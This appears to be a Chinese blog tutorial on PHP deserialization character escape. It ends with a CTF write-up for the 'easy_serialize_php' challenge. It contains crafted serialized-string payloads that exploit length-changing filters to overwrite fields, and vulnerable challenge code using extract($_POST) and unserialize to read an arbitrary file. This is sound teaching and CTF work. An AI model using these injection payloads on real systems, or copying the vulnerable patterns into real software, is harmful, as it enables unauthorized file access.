有关php反序列化字符逃逸的简单理解
php反序列化字符逃逸 php的特性
可以反序列化类中不存在的元素
1 2 3 4 5 6 7 <?php class user { public $name; public $age; } $b='O:4:"user":3:{s:4:"name";s:3:"bob";s:3:"age";s:2:"10";s:6:"gender";s:3:"boy";}' ; print_r(unserialize($b));
得到的结果
1 2 3 4 5 6 user Object ( [name] => bob [age] => 10 [gender] => boy )
多了一个boy
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的
1 O:4:"user":3:{s:4:"name";s:3:"bob";s:3:"age";s:2:"10";s:6:"gender";s:3:"boy";}s:6:"gender";s:4:"boy";
这是不会报错的,但是也不会进行反序列化。结果依然不变。
}
后面的序列化内容不影响
漏洞产生过程 在平时的ctf或者渗透过程中,就有很多闭合引号的思想,这个代码注入也一样
什么情况下会产生长度改变,如果是正常传输,经过序列化的过程,长度一定是正确的,只有在系统修改的情况下,在序列化完成之后修改才能到达效果。
案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php function filter ($string) { $filter = '/b/i' ; return preg_replace($filter,'aa' ,$string); } $username = 'bob' ; $age = "10" ; $user = array ($username, $age); var_dump(serialize($user)); $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r));
经过系统修改长度之后我们发现长度出错了,但是反序列化也出错了。这时候就要用到我们闭合的思想,在这个案例中我们要修改age,需要加上";i:1;s:3:"100";}
,根据代码,每有一个b就会多一个字符,所以这里17个字符需要17个b,拼接username为bobbbbbbbbbbbbbbbb";i:1;s:3:"100";}
传输之后
发现修改成功,这就是漏洞攻击的全过程了。
ctf中的应用 easy_serialize_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
在没有任何输入的情况下,序列化输出的字符串是
1 a:3:{s:4:"user";s:5:"guest";s:8:"function";N;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
现在读取的是guest_img.png这个文件
在修改img的属性的时候,我们需要修改function的值,所以需要构造字符串,一共是41位
1 2 3 4 5 ";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} 模拟一下 a:3:{s:4:"user";s:*:"*";s:8:"function";s:41:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这时候我们修改前面的user的长度,把“;s:8:”function”;s:41:” 覆盖就好了,一共是23位,修user的值为flagflagflagflagphp
本地复现发现失败
1 2 3 4 $_SESSION["user"] = 'flagflagflagflagflagphp'; $_SESSION['function'] = '";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}'; a:3:{s:4:"user";s:23:"";s:8:"function";s:41:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
原因是对象缺了一个,所以构造的时候需要多一个对象随便加一个就好了
完成覆盖得到flag